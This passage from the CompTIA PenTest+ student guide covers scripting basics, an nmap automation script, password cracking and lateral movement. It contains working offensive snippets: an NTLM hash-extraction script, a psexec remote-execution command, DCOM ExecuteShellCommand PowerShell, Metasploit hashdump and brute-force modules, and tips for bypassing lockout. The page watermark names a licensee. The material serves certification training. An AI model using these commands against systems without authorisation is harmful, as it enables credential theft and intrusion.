LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 325
Tool Description
OllyDbg A debugger included with Kali Linux that
analyzes binary code found in 32-bit Windows
applications.
Immunity Debugger A debugger that includes both CLIs and GUIs
and that can load and modify Python scripts
during runtime.
GNU Debugger (GDB) An open-source debugger that works on most
Unix and Windows versions, along with
MacOS®.
WinDbg A free debugging tool created and distributed
by Microsoft for Windows operating systems.
Interactive Disassembler (IDA) A commercial disassembler and debugging tool
with support for numerous processors and file
formats. It has a limited free version.
Ghidra An open-source reverse engineering tool
developed by the NSA. It has a disassembler
and decompiler component and can make use
of GDB and WinDbg for debugging.
Covenant An open-source .NET framework with a focus on
penetration testing but has a development and
debugging component.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
326 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Exploit Code
Answer the following questions:
2. Robert has asked you to suggest a tool to use so that he can enumerate
users and assets with a view to attacking the usernames. What would
you recommend?
3. Robert has asked you about reverse engineering. He knows that there
are three primary methods of doing this but he cannot remember what
they are. Can you help him?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 327
Lesson 14
Summary
4
In this lesson you learned about a number of frameworks that can help you keep
track of your PenTest progress and provide attacks that you can leverage during
the PenTest. You also learned about remote access tools. Some that offer basic
connectivity and some that offer extra features over and above secure connections.
You learned about the various benefits of using remote access tools at different
stages of your PenTest.
Finally, you learned about exploit code. You learned that you have to be careful who
you trust, to prevent you from becoming the victim of exploit code yourself. You
learned that you can reverse-engineer applications and code to understand how
they work to see if you can find any weaknesses that can be exploited. Lastly, you
learned about the processes of decompilation, disassembly, and debugging, and
the circumstances in which each method has valuable benefits.
Practice Questions: Additional practice questions are available on the CompTIA Learning
Center.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 15
Scripting and Software Development
1
LESSON INTRODUCTION
In order to effectively conduct PenTesting, the team will need to analyze code and
code samples. To achieve this goal, the team should be familiar with the various
Linux shells, along with a variety of programming languages that include Python,
Ruby, and JavaScript. In addition, the team should be familiar with various logic
constructs such as loops, Boolean operators, dictionaries, lists, and trees. Finally,
the team will most likely include the use of automated PenTesting that includes
performing a port scan and then automating the next steps based on results.
Lesson Objectives
In this lesson, you will:
• View code samples using system shells, such as Linux Bash, and Microsoft
Windows PowerShell.
• Learn about scripting concepts, such as modules, libraries, and data structures.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
330 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 15A
Analyzing Scripts and Code Samples
2
Automating the tasks that you perform in your penetration tests is a beneficial
skill to have. It can save time and speed up your PenTest project. Now that you are
familiar with several tools of PenTesting, it is a good time to analyze and run scripts
that can help you customize the tools.
• Branching and looping statements that can alter the flow of execution based on
conditions.
• Validation and error handlers to check inputs and ensure robust execution.
• Unit tests to ensure that the script returns the expected outputs, given the
expected inputs.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 331
you could set up nmap to do its host scan, then output a warning if the number of
identified hosts does not match n. You could also write the script to identify and
output which hosts are not on an IP address allow list so you know what to avoid
or what to investigate further.
Scripts are not just about enhancing existing tools’ functionality, either. You can
also create your own simple tools through scripts that are more customized to your
needs. For example, you could create your own port scanner that is more attuned
to your work style, or to the target environment, rather than relying on nmap.
• Quickly scanning and identifying actionable information in log and other text
files.
Because of its association with the underlying Unix-like operating system, the
syntax of a Bash script is very similar to what you would input line-by-line at a
terminal. The following is an example of a simple Bash script named admin-hash-
pull that outputs a Windows Administrator’s LM/NTLM hash from a dump file:
#!/bin/bash
echo "Pulling Admin password hash from dump file..."
grep "Administrator" /root/dumps/winsrv_hash_dump.
txt | cut -d ":" -f3-4 > admin-hash.txt
echo "Admin LM/NTLM hash extracted!"
The first line of the script indicates what type of interpreter the system should run,
as there are several scripting languages beyond just Bash. The echo lines simply
print messages to the console.
The grep command searches for any line in the hash dump text file that contains
the text "Administrator." This command is then piped to the cut command which
trims the output to only show the LM/NTLM hash values. These results are sent to a
file called admin-hash.txt.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
332 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 333
Python recently upgraded to version 3, but there are many version 2 scripts still in use.
Make sure you are loading the correct environment to run the scripts, version 2 and
version 3 scripts do not always work well if you load them in the others environment.
Python might seem wordier than the equivalent script in Bash or PowerShell. This
is because you don’t necessarily write scripts to explicitly access system commands
but instead write to Python’s libraries that interact with the system.
The following is a snippet of a Python script named os-identifier.py:
print "Detecting OS..."
if sys.platform == "linux":
print "Linux system detected!"
The print command, as the name implies, prints the given text to the screen.
The if statement uses the sys.platform function to determine what operating
system the Python interpreter is running on.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
334 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 335
Discovering JavaScript
JavaScript is a scripting language that allows a developer to do all the fancy complex
things you see when you visit web pages. JavaScript is used alongside HTML and
CSS on the World Wide Web.
HTML is the markup language used to structure and give meaning to our web
content: defining headings, and paragraphs, or embedding media like pictures or
video content.
CSS is the language of style rules that we use to apply styling to HTML content. It
can control background colors, fonts, and create multiple columns.
JavaScript is more complex than the previous code you viewed because you have to
configure the HTTP and JavaScript components. In this code sample, “window.alert”
will open a window and display “Hello World!”:
<!DOCTYPE html>
<html>
<body>
<h2>Web Page</h2>
<p>Paragraph.</p>
<script>
window.alert("Hello World!");
</script>
</body>
</html>
JavaScript is very important to understand as a PenTester, as it is used heavily in
XSS attacks and PenTesting.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
336 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Scripts and Code Samples
3
1. Your team has asked for some pointers to use when writing scripts
and code samples. What elements would you suggest they use that
contribute to a well-written script?
2. Your new team wants to use scripting to aid in their PenTesting project.
They have heard that Bash is a good option but don’t know much about
it. What are some of the reasons why Bash scripting is useful in the world
of PenTesting – what useful features does it have?
3. Your team wants to use a scripting language to help with their current
PenTest project. They would like to do some network scanning, reverse
engineering, application fuzzing, web exploitation, and a number of
other things. They mentioned that they don’t want to use something
that uses command shell tied to an operating system architecture.
Which language would you recommend they use based on their request
parameters?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 337
Topic 15B
Create Logic Constructs
4
All computer programs and scripts require that you, as the programmer, define, for
the computer, the components that you will be using within the program or script.
These components can include such constructs as: variables, logic, operators, flow
control, conditionals, and loops, to name but a few.
These constructs are the building blocks of the programs and scripts you will be
developing.
Describing Variables
In programming, a variable is any value that is stored in memory and given a name
or an identifier. In code, you assign values to these variables. As the name suggests,
the values in a variable may change throughout the script’s execution, but this is not
required. The purpose of variables is to store values for later use, and to enable you
to reference these values without explicitly writing them out in the code.
Many programming languages, like C, require you to define the type of variable
before you assign it to a value. Examples of types include integers, floats, strings,
and more. Essentially, these types define exactly what kind of information the
variable holds.
However, you don’t have to declare variable types in most scripts and interpreted
languages used in this course (the exception is JavaScript where the variable must
be declared). Instead, once you assign a value to a variable, that type is defined
automatically.
The following examples describe the behavior of local variables. There are other types of
variable scopes not covered here.
The following examples focus on Bash (Linux shell), PowerShell (Windows shell),
and Python (code) examples. Whilst some examples of Ruby, Perl, and JavaScript
are included, it would become very repetitive to include complete coverage of every
option of every language. The purpose of this section is to teach the concepts, not the
languages.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
338 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
PowerShell Variables
You must use a dollar sign for variable assignment in PowerShell:
$my_str = "Hello, World!"
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 339
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
340 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Boolean Operator
You previously saw an if statement in Python:
my_var = 1
if my_var == 1:
print "Correct"
This is a simple command, ’if” the statement is true, it prints “Correct,” if the
statement is not true, it skips the print “Correct” command and moves on.
Let’s review some pseudocode. Psuedocode is a made-up language used to show
flow and logic but is not based on any programming or scripting language.
Let’s imagine we have a variable that holds the weather (weatherType) which could
be sunny, raining, or snowing. We also have a variable that holds more detail about
the conditions (weatherConditions), which could be windy, mild, or cold.
If we wanted to write a script that informed us if it was raining to take an umbrella
with us, we could simply use:
if weatherType = “raining”
print "Take an umbrella"
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 341
But what if we wanted to take an umbrella if it was raining but also if it was
snowing. We could simply use:
if weatherType = “raining”
print "Take an umbrella"
if weatherType = “snowing”
print "Take an umbrella"
However, we could combine these together using a logical OR. Logical OR is true, if
either of the conditions is true:
if weatherType = “raining” OR weatherType =
“snowing”
print "Take an umbrella"
Now, consider that if we are concerned that if it is windy, our umbrella could be
damaged, we could use an AND operator, which only evaluates as true if both
conditions are true:
if weatherType = “raining” AND weatherConditions =
“windy”
print "Take a coat, it is too windy for an
umbrella"
Finally, we may want to test for a series of events, such as whether it is raining or
snowing. It may be easier to negate the third option rather than check for either
of these two options. We could use a NOT operator, which only evaluates if the
statement is true, but then inverts the true statement to false:
if weatherType NOT= “sunny”
print "No need of sunglasses today!"
This may also be represented as:
if NOT(weatherType = “sunny”)
print "No need of sunglasses today!"
In this example, if weatherType is anything but sunny, the message is printed.
When you combine the Boolean operators with scripting or coding, you can create
complex conditionals, using easy to read code. For example, in Python:
if ".xlsx" not in file:
file = file + ".xlsx"
Here, you are simply checking to see if the filename variable “file” contains an
extension “.xlsx”. The variable file is already set up as a data structure holding a
filename. If the filename does not end in “.xlsx,” we simply add that string into the
variable before continuing with processing.
Arithmetic Operator
You could also perform basic arithmetic using code.
Let’s create some variables to demonstrate:
value1 = 10
value2 = 2
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
342 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
String Operator
You could also perform basic string manipulation using scripts and code.
Let’s create some variables to demonstrate:
value1 = “hello”
value2 = “world”
value3 = “ “
The final value is a space character.
Staying with pseudocode, you could concatenate the strings:
value4 = value1 + value3 + value2
print value4
would print “hello world”.
You could repeat the strings:
value4 = value1 * 3
print value4
would print “hellohellohello”.
You could reference individual characters in a string as if it were an array:
value4 = value1 + value3 + value2
print value4[0]
will print “H” (remember computers start counting from 0).
The code snippet:
value4 = value1 + value3 + value2
print value4[1:4]
would print “ello” (characters 1 to 4, remember computers start counting from 0).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 343
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
344 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Trees
Trees are easily identified, as they appear inverted. In real-life, a tree sprouts
from the roots in the ground up into the branches with leaves at the end. In data
representation, the root is at the top, and the “branches” go down, with a “leaf”
object at the end of a branch.
A great example of a tree structure is a company hierarchical reporting chart. The CEO
is at the top, the executives are under the CEO, under each executive are three to five
managers, and each manager could manage a group of potentialily eight people.
In this example, the CEO would be the root of the tree structure. Each layer forms a
parent-child layer with the nodes beneath it. So the CEO would be the parent of the
executives as it were. If a node has no children, it is said to be a leaf, or an endpoint.
The tree depth is the number of hops from leaf to root.
Wherever possible, you should try to use procedures or functions as they tend to make
your code more readable.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 345
Classes
Once you grasp the concept of a re-useable function or procedure, the next step is
to grasp a class.
A class is a user-defined prototype or template from which objects can be created.
Classes allow you to bundle data and functionality together. A class creates user-
defined data structures, which can hold their own functions.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
346 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Logic Constructs
5
1. Your team has a problem. They want to write a script but don’t know
how to make things execute in the order they want, or to change the
order when circumstances change. What is the concept associated with
making a program execute its commands in a prescribed order?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 347
Topic 15C
Automate Penetration Testing
4
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
348 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
For each of those targets, we will first run a simple and fast scan looking only for
open ports and for each IP address the results will be saved in a file in greppable
format in order to perform searches using regular expressions (regex).
Once the simple scan is done, the script will read the files and look for the open
ports that were found and execute a second, slower, but more detailed analysis
which will include identified vulnerabilities according to their version, as well as
configuration issues in SSL/TLS communications, such as accepting weak ciphers.
The final results will be written to a text file as a human-readable report.
def fileread(file):
if ".xlsx" not in file:
file = file + ".xlsx"
book = openpyxl.load_workbook(file)
sheet = book.active
print("reading...")
iplist = []
for row in sheet.iter_rows(min_row=2, min_col=1,
max_col=1):
for cell in row:
iplist.append(cell.value)
return iplist
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 349
def ipupdate(iplist):
newlist = []
for ip in range(len(iplist)):
newip = ipaddress.IPv4Address(iplist[ip])
newlist.append(str(newip + 100))
return newlist
def simplescan(iplist):
for ip in range(len(iplist)):
os.system("nmap -n -T4 -oG " + iplist[ip]
+ "_simplescan.txt " + iplist[ip])
print("Simple scan ready.")
def advancedscan(iplist):
for ip in range(len(iplist)):
file = open(iplist[ip] + "_simplescan.txt",
"r").read()
openports = re.findall(r"([0-9]*)\/open", file)
ports = ",".join(openports)
os.system("nmap -p " + ports + " -oN " +
iplist[ip] + "_advscan.txt"
+ " -sV --script=vulnscan,ssl-enum-
ciphers " + iplist[ip])
print("Advanced scan ready.")
if __name__ == "__main__":
iplist = []
try:
file = input("Enter the name of spreadsheet to
read:\n")
iplist = fileread(file)
except:
print("Error reading specified file")
exit(1)
iplist = ipupdate(iplist)
simplescan(iplist)
advancedscan(iplist)
print("All operations finished.")
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
350 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 351
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
352 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 353
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
354 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Penetration Testing
5
1. Your newest team member has been asked to use Python scripting for
a PenTest project. They are concerned about writing the script from
scratch and think there is a lot of work involved. Do you have any
suggestions for them?
2. Where could your newest team member get these modules from?
3. Your newest team member has been asked to use Python scripting
for a PenTest project. They need to write a script but do not know
how to make the program access the desired libraries that they have
downloaded. What command do you recommend that they use?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 355
Lesson 15
Summary
4
In this lesson, you learned about scripting using shells and interpreted
programming languages. Bash and Powershell were introduced as shells, and
Python, Ruby, Perl, and JavaScript were introduced as programming languages.
After a brief introduction to the different shells and languages, you learned about
programming constructs for flow control. You learned about variables, conditional
statements, loops, operators, and data structures.
You also learned a very important concept in Object Oriented Programming: the
concept of re-useable code. You saw examples of re-using code within Python by
leveraging modules and libraries.
Finally, you were walked through an example of the real-world use of scripting
during a PenTest engagement.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 16
Leveraging the Attack: Pivot and
Penetrate
1
LESSON INTRODUCTION
A major part of the PenTest process is to gain access into a system. The team will
need to launch several attacks, using a variety of methods and tools. These include
hash cracking, brute force, and dictionary attacks, employing tools such as John the
Ripper, word lists, and Hashcat.
Once the team has gained access into the system, the next step is to see how far
they can go. The team may be able to move horizontally or vertically, with the goal
of pivoting through the system and exploring exposed resources. After gaining
access and then determining any further vulnerabilities, the next logical step is to
attempt to maintain persistence. This is achieved by creating a backdoor, so that
the team can revisit the system at a later date.
Lesson Objectives
In this lesson, you will:
• Demonstrate methods to test credentials and launch password attacks using
tools such as CeWL, John the Ripper, and Cain.
• Compare methods used to escalate privilege and then move throughout the
system while launching and gathering authentication credentials.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
358 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 16A
Test Credentials
2
Credentials are the way that a legitimate user can gain access into their account,
a network, or the entire system. Think of them in terms of a “key.” With them, the
user can open many “doors” and reveal many secrets.
To an adversary, credentials are worth more than gold! They provide the attacker
with a way to steal, to deface, or even to gain leverage to blackmail!
By testing credentials—or trying to force the revelation of a user’s credentials—an
attacker can gain access to those accounts, networks, or systems, and all the secrets
they hold.
Many types of attacks have been developed against user credentials because of the
intrinsic value that these constructs have. In this topic, you will investigate some of
the more commonly-used attacks.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 359
Kali Wordlists
There are practical limits to using a dictionary attack. You must first know the
username. Some password crackers allow the use of, and include lists of, common
usernames, including administrator-type accounts.
Password lists can become unwieldy in size. A list of 1.5 billion words is about
15 GB (uncompressed) in size. This may be difficult for the password cracker (or its
system) to load or manage.
Most systems have policies that lock out a user after a certain limit has been
exceeded, for example, only a few wrong password attempts are allowed, then a
time delay is invoked.
There are several techniques that an attacker can use to bypass these limits. These
include:
• Stealing a copy of the file or database that contains the user credentials and
attempting to crack the passwords offline
• Inducing the system to “dump” its passwords (in hashed format) so that you can
crack them offline
• Running the password cracker against a network service that does not have a
lockout policy
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
360 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
A brute force attack is one in which the attacker tries many passwords in the hope
of eventually guessing the right one. It is called a brute force attack because the
attacker is just going through every possible option. This is similar to attacking a
4-digit bicycle lock by trying 0001, 0002, 0003… all the way to 9999.
The obvious flaw in a brute force attack is that the maximum length of time it
takes to try all combinations is simply a function of the time it takes to do one test,
multiplied by the number of different combinations. As an example, if it takes five
seconds to test the bicycle lock, and there are 1,000 combinations, it will take 5,000
seconds to test every option. Brute force attacks are limited by processing power
and other resources (such as memory and storage space).
If you were to replace this with a 5-digit lock, then it would immediately take a maximum
50,000 seconds to break. Thus, a standard rule of passwords: longer length = more
difficult to break.
You may have thought, I’ll just make the password 9998. This will take the longest time
to search for! The problem with this approach is, what if the attacker starts at 9999, and
counts down? Because of this issue, most attack software doesn’t start at either end, but
breaks the attack space down into chunks, and selects chunks to search “randomly”.
There are different types of variations on brute force attacks that can try to shorten
the search time by using shortcuts. A rule attack can make use of word lists to
create variants and combinations. If the attacker’s dictionary is exhausted, the
cracking tool can then try variations of the passwords by trimming or expanding
words or substituting numbers or special characters for letters. It can also try
specific combinations of characters using placeholders (i.e.,: ?a?a?d?d?d?d), which is
known as a mask attack. The main problem here is that some level of knowledge
of the mask is required. If you guess wrong, the entire search is a waste of time.
If the password is used to create an encryption key, the attacker could alternatively
try to guess the key. An example of this is a Wi-Fi password that is used to create
a hexadecimal-based numeric key. The user need not guess the original password
but, rather, use other ways to extract the key and use it to access the system.
If the password is short, such as an 8-digit PIN, an automated tool could go through
all possible combinations in minutes. The longer and more complex the password,
the harder it will be to break. Not only that, but security solutions might detect the
rapid and successive attempts or security policies might prevent repeated failed
attempts and lock the account. There is a contained approach to work around this.
Password spraying is the concept of controlled brute forcing by testing several
accounts with common or targeted passwords. The speed at which the requests are
sent can also be limited, and particular masks and other techniques can be used to
tailor the attack.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 361
Look for hashes that begin with a $ and compare them to this list:
• $1 = MD5
• $2a = Blowfish
• $5 = SHA-256
• $6 = SHA-512
An example result is shown here, indicating that SHA 512 has been used to hash the
password:
Hashed Password
For more information about Linux hashing at a terminal window, enter “man 3 crypt”.
• NT hash: This is a simple MD4 hash of the password (encoded as UTF-16 little
endian). It is unsalted but allows passwords up to 128 characters long.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
362 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Additionally, there are tools that create or curate wordlists for specific uses. These
can create lists that meet specific password requirements which are later used by
password cracking tools or create a list of usernames to use by credential testing tools.
Here are some examples of tools that aid, perform, or are otherwise relevant for
password cracking, hash cracking, and credential testing:
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 363
• Shoulder surfing
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
364 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Metasploit has many modules that will attempt to brute force or bypass the login of
specific services, such as:
• auxiliary/scanner/ssh/ssh_login
• auxiliary/scanner/ftp/anonymous
• auxiliary/scanner/ftp/ftp_login
• auxiliary/scanner/vnc/vnc_login
• auxiliary/scanner/smb/smb_login
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 365
Review Activity:
Credentials
3
1. Your team has been engaged to test a client’s defenses. The team has
decided that a password cracking attack would be a good place to start.
What are the main attack options they could use?
2. Your team has asked advice on some passwords they have found traces
of, on Windows devices that are stored in the Security Account Manager
(SAM). You inform the team that passwords are usually stored as one of
two types of hashes. What are those two types?
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16A
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
366 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 16B
Move Throughout the System
4
Moving Laterally
Lateral movement is the process of moving from one part of a computing
environment to another. After you gain access to the initial part of the environment,
you can spread your attack out to compromise additional resources. This ensures
that your test encompasses more than just a narrow selection of resources.
Likewise, you may be able to discover additional, or new, vulnerabilities in
the environment that you would otherwise miss if you stayed in place. Lateral
movement can also support stealth as, in some cases, you’ll draw greater attention
to your attack if you focus on only a single resource or a small group of similar
resources.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 367
One of the most common forms of lateral movement is to jump from one network
host to the next. You might gain access to an employee’s workstation from the
outside, then use that workstation to set up a connection to an application server,
which you then use to open up access to a database server, and so on. Essentially,
you’re going further and further into the network, looking for new targets or new
vectors with which to spread the attack.
There are several techniques that can make lateral movement easier, namely,
reconnaissance. Once you compromise the patient zero host, you can sweep the
network for other hosts, as well as enumerate network protocols, ports, and logical
mapping. This helps you discover where additional hosts are and what hosts you
can move to.
An efficient way to investigate the relationships in a network that uses Active
Directory (AD) is through the use of exploiting its protocols and operation.
Exploiting tools like Responder.py (https://github.com/lgandx/Responder) and
BloodHoundAD can be used here. BloodHoundAD can quickly explore AD trust
relationships, abusable rights on AD objects, security group memberships, SQL
admin links, and more. Results are displayed in a GUI and allow the PenTest team to
plan the next steps.
At a lower level, lateral movement can also refer to moving exploit code, or a
session, into another running process. This can help you evade defensive efforts
to identify and eliminate malicious processes. Migrating code to a known, existing
process (e.g., explorer.exe), can also enable you to take on the features and
privileges of that process.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
368 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 369
Additionally, there is PsExec, which uses Server Message Block (SMB) to enable you
to issue commands to a remote system. For example, to run an executable in the
SYSTEM account you can enter:
psexec \\192.168.1.50 -s "C:\bad-app.exe"
Lateral Movement with RPC/DCOM
Methods like PsExec, WMI, logging in using Telnet and SSH, etc., tend to stand out
to administrators or security personnel who are paying close attention to their
systems. Using RPC/DCOM can help you evade notice.
Remote Procedure Call (RPC) enables inter-process communication between local
and remote processes on Windows. Distributed Component Object Model (DCOM)
enables communication between software components over a network. DCOM
applications use RPC as a transport mechanism for client requests. Flaws in DCOM
can enable you to execute code on a remote system by assuming user privileges.
For example, a DCOM application commonly used to initiate lateral movement
is MMC20.Application. This enables users to execute Microsoft Management
Console (MMC) snap-in operations on a Windows computer. The MMC20.
Application application includes an ExecuteShellCommand() method that does
exactly what its name implies.
You can leverage this method by creating an instance of a DCOM object using
PowerShell:
$obj = [activator]::CreateInstance
([type]::GetTypeFromProgID ("MMC20.
Application","192.168.1.50"))
Note that the first argument in GetTypeFromProgID() refers to the DCOM
application mentioned before, and the second argument is the IP address of the
remote machine you want to move to.
You can then invoke the ExecuteShellCommand() method on the object you
created:
$obj.Document.ActiveView.ExecuteShellCommand
("C:\Windows\system32\calc.exe",$null,$null,"7")
The first argument is the app or command that will start here, the Calculator
app. The second argument specifies the current working directory, and the third
specifies any parameters to add to the command. In this case, none are needed,
so they are set to null. The last parameter specifies the state of the window.
Ultimately, this will launch the Calculator app on the remote computer under a local
administrator account.
You can, of course, do much more than just launch a simple app. The point of
lateral movement is to “own” the next host you move to, so you can compromise
it in many different ways. There are also other DCOM applications and methods
you can use to move laterally. However, DCOM is blocked, by default, on modern
Windows Defender firewalls, so you shouldn’t expect this to work with any
regularity.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
370 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
This is necessary when you want to move to a different network segment than the
one you are currently on. For example, if you are able to open a shell on a host
you’ve compromised, you can enter commands in that shell to see other network
subnets that the host might be connected to. From here, you can use the pivot host
to spread out to these other subnets.
Despite the distinction, lateral movement and pivoting are often used interchangeably.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 371
You can use Mimikatz to dump different important hashes. You can also use
other tools such as Responder.py to obtain hashes from different services on the
network. Metasploit also has many hashdump-related modules you can use against
Linux, Windows, applications, and other platforms. Most of them are post modules
you run after you have compromised the target and obtained a Meterpreter
prompt.
Here are a few options for collecting hashes:
• post/windows/gather/smart_hashdump
• post/linux/gather/hashdump
• post/pro/multi/gather/hashdump
• post/windows/gather/credentials/domain_hashdump
• post/windows/gather/credentials/mssql_local_hashdump
• post/windows/gather/credentials/skype
• post/windows/gather/credentials/avira_password
• post/windows/gather/credentials/mcafee_vse_hashdump
Dumping Hashes
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
372 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Once you have the hashes, there are several tools you can use to test usability and
pass, or crack, them (as discussed in “Password Attacks”). These include:
• Metasploit modules exploit/windows/smb/psexec and auxiliary/scanner/smb/
smb_login
• Hydra
• Medusa
The following figure shows an example of a “pass the hash” attack in Metasploit:
Passing the hash does not work in all cases. For example, Windows Defender
Credential Guard protects against this. You wouldn’t even be able to pass the
Administrator hash. You would need to turn off Windows Defender first.
Separately, if Windows Defender is not running on the target, you might have
to edit the Registry. Windows operating systems starting with Vista have a User
